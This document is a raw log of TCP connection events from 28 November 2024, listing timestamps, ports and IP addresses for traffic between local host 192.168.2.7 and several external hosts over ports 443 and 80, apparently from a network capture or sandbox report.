Nov 28, 2024 11:05:25.144979954 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.145363092 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.146507025 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:25.146585941 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.146733046 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:25.146749020 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.147100925 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:25.147133112 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.150470018 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.150868893 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:25.150909901 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.155463934 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:25.155483961 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.288203955 CET	49791	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:25.288242102 CET	443	49791	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:25.288294077 CET	49791	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:25.288811922 CET	49791	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:25.288824081 CET	443	49791	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:25.411638975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:25.411887884 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:25.439269066 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.497270107 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:25.497312069 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.497808933 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:25.497818947 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.600919008 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.600996971 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.601110935 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:25.604063034 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.604113102 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.604121923 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.604176998 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.604198933 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:25.604245901 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:25.779516935 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.887849092 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.887948036 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:25.888041019 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:25.898499966 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.002490997 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.002516985 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.002537012 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.002542973 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.002629995 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.002629995 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.002655029 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.002664089 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.008913994 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.008944988 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.008964062 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.008970976 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.011794090 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.011805058 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.011818886 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.011826038 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.016242981 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.016283989 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.016720057 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.016729116 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.068619967 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.068655968 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.068707943 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.071069002 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.071080923 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.072520971 CET	443	49786	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:26.072590113 CET	49786	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.077739954 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.077796936 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.078063011 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.078285933 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.078299046 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.078550100 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.078560114 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.079288960 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.079308987 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.079328060 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.079359055 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.109199047 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.109220982 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.109230042 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.109266996 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.140696049 CET	49786	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.140722990 CET	443	49786	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:26.141078949 CET	443	49786	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:26.142409086 CET	49786	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.142474890 CET	49786	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.142509937 CET	443	49786	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:26.211333036 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:26.251458883 CET	49798	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:26.251575947 CET	443	49798	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:26.252516031 CET	49798	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:26.258124113 CET	49799	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:26.258172989 CET	443	49799	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:26.258256912 CET	49799	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:26.258829117 CET	49798	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:26.258867979 CET	443	49798	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:26.258872986 CET	49799	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:26.258894920 CET	443	49799	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:26.277010918 CET	49802	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:26.277044058 CET	443	49802	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:26.277144909 CET	49802	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:26.278184891 CET	49802	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:26.278202057 CET	443	49802	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:26.331331968 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:26.343205929 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.343410969 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.343480110 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.343528032 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.343549967 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.343561888 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.343568087 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.346929073 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.346982002 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.347045898 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.347198963 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:26.347215891 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:26.406312943 CET	49810	443	192.168.2.7	18.165.220.66
Nov 28, 2024 11:05:26.406363010 CET	443	49810	18.165.220.66	192.168.2.7
Nov 28, 2024 11:05:26.406457901 CET	49810	443	192.168.2.7	18.165.220.66
Nov 28, 2024 11:05:26.406740904 CET	49810	443	192.168.2.7	18.165.220.66
Nov 28, 2024 11:05:26.406754971 CET	443	49810	18.165.220.66	192.168.2.7
Nov 28, 2024 11:05:26.873073101 CET	443	49786	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:26.873231888 CET	443	49786	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:26.873311043 CET	49786	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.873771906 CET	49786	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.873771906 CET	49786	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.873791933 CET	443	49786	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:26.873800993 CET	443	49786	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:26.915486097 CET	49815	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.915524960 CET	443	49815	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:26.915613890 CET	49815	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.922518969 CET	49815	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.922535896 CET	443	49815	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:26.948287010 CET	49816	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:26.948369980 CET	443	49816	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:26.948451042 CET	49816	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:26.949259996 CET	49816	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:26.949276924 CET	443	49816	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:26.964637995 CET	49817	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:26.964701891 CET	443	49817	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:26.964787006 CET	49817	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:26.965573072 CET	49817	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:26.965585947 CET	443	49817	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:26.975452900 CET	49818	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.975497961 CET	443	49818	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:26.975583076 CET	49818	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.975857019 CET	49818	443	192.168.2.7	20.190.147.4
Nov 28, 2024 11:05:26.975866079 CET	443	49818	20.190.147.4	192.168.2.7
Nov 28, 2024 11:05:27.020493984 CET	49819	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.020554066 CET	443	49819	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.020632982 CET	49819	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.020879030 CET	49819	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.020890951 CET	443	49819	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.144318104 CET	49799	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.144392014 CET	49817	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.144632101 CET	49791	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:27.145119905 CET	49810	443	192.168.2.7	18.165.220.66
Nov 28, 2024 11:05:27.146241903 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:27.146277905 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:27.146377087 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:27.147413969 CET	49826	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.147423983 CET	443	49826	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.147559881 CET	49827	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.147574902 CET	443	49827	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.147581100 CET	49826	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.147625923 CET	49827	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.148325920 CET	49798	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.148406029 CET	49819	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.148916960 CET	49831	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.148930073 CET	443	49831	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.149008036 CET	49832	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.149033070 CET	443	49832	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.149049044 CET	49831	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.149060965 CET	49802	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:27.149077892 CET	49832	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.149116993 CET	49816	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:27.149357080 CET	49833	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:27.149365902 CET	443	49833	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:27.149467945 CET	49833	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:27.149574995 CET	49834	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:27.149585009 CET	443	49834	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:27.149646044 CET	49834	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:27.150175095 CET	49834	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:27.150187969 CET	443	49834	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:27.150306940 CET	49833	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:27.150317907 CET	443	49833	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:27.150470972 CET	49832	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.150482893 CET	443	49832	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.150866985 CET	49831	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.150877953 CET	443	49831	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.151299953 CET	49827	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.151329041 CET	443	49827	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.151390076 CET	49826	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.151402950 CET	443	49826	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.152209044 CET	49821	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:27.152218103 CET	443	49821	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:27.162780046 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:27.162873983 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:27.180430889 CET	443	49791	142.250.181.65	192.168.2.7
Nov 28, 2024 11:05:27.180485964 CET	49791	443	192.168.2.7	142.250.181.65
Nov 28, 2024 11:05:27.191350937 CET	443	49817	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.191351891 CET	443	49799	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.191354036 CET	443	49810	18.165.220.66	192.168.2.7
Nov 28, 2024 11:05:27.191364050 CET	443	49802	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:27.191371918 CET	443	49819	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.191374063 CET	443	49816	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:27.195333004 CET	443	49798	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.472827911 CET	443	49798	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.472894907 CET	49798	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.513111115 CET	443	49799	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:27.513170004 CET	49799	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:27.533880949 CET	443	49802	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:27.533947945 CET	49802	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:27.702725887 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:27.822820902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:27.851708889 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:27.852410078 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:27.852484941 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:27.854054928 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:27.854069948 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:27.888344049 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:27.888966084 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:27.888983965 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:27.889679909 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:27.889684916 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:27.898391008 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:27.899188995 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:27.899220943 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:27.899625063 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:27.899640083 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.149435043 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.149473906 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.149486065 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.149595976 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.149605989 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.149658918 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.149671078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.149683952 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.149698019 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.149955988 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.149971962 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.149982929 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.150006056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.150037050 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.157968998 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.158018112 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.158026934 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.158054113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.166626930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.166676044 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.174099922 CET	443	49817	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.174165964 CET	49817	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.182707071 CET	443	49810	18.165.220.66	192.168.2.7
Nov 28, 2024 11:05:28.182807922 CET	49810	443	192.168.2.7	18.165.220.66
Nov 28, 2024 11:05:28.192466021 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.192945004 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.192984104 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.193449020 CET	49805	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.193456888 CET	443	49805	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.204415083 CET	443	49816	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.204476118 CET	49816	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.263492107 CET	49835	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.263536930 CET	443	49835	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.263600111 CET	49835	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.263860941 CET	49835	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.263873100 CET	443	49835	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.277230978 CET	443	49819	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.277342081 CET	49819	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.296113968 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.296185017 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.296420097 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.296505928 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.296570063 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.296619892 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.296638012 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.299247026 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.299293041 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.299645901 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.299958944 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.299973011 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.313803911 CET	49837	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.313896894 CET	443	49837	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.313986063 CET	49837	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.314322948 CET	49837	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:28.314346075 CET	443	49837	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:28.332859039 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.332928896 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.332993984 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.333523989 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.333548069 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.333560944 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.333568096 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.336169004 CET	49838	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.336199045 CET	443	49838	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.336348057 CET	49838	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.336512089 CET	49838	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.336519957 CET	443	49838	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.342945099 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.343005896 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.343238115 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.343363047 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.343363047 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.343405962 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.343507051 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.345519066 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.345568895 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.345653057 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.345779896 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:28.345840931 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:28.363676071 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.363693953 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.363749027 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.363796949 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.363811016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.363845110 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.363861084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.369200945 CET	443	49834	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.369496107 CET	49834	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.369534016 CET	443	49834	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.369585991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.369641066 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.369685888 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.369729042 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.370606899 CET	443	49834	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.370670080 CET	49834	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.371990919 CET	49834	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.372070074 CET	443	49834	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.372555971 CET	49834	443	192.168.2.7	172.64.41.3
Nov 28, 2024 11:05:28.372570992 CET	443	49834	172.64.41.3	192.168.2.7
Nov 28, 2024 11:05:28.377629995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.377724886 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.377748013 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.377767086 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.385586977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.385688066 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.385705948 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.385948896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.393652916 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:28.393701077 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:28.393767118 CET	80	49782	185.215.113.206	192.168.2.7
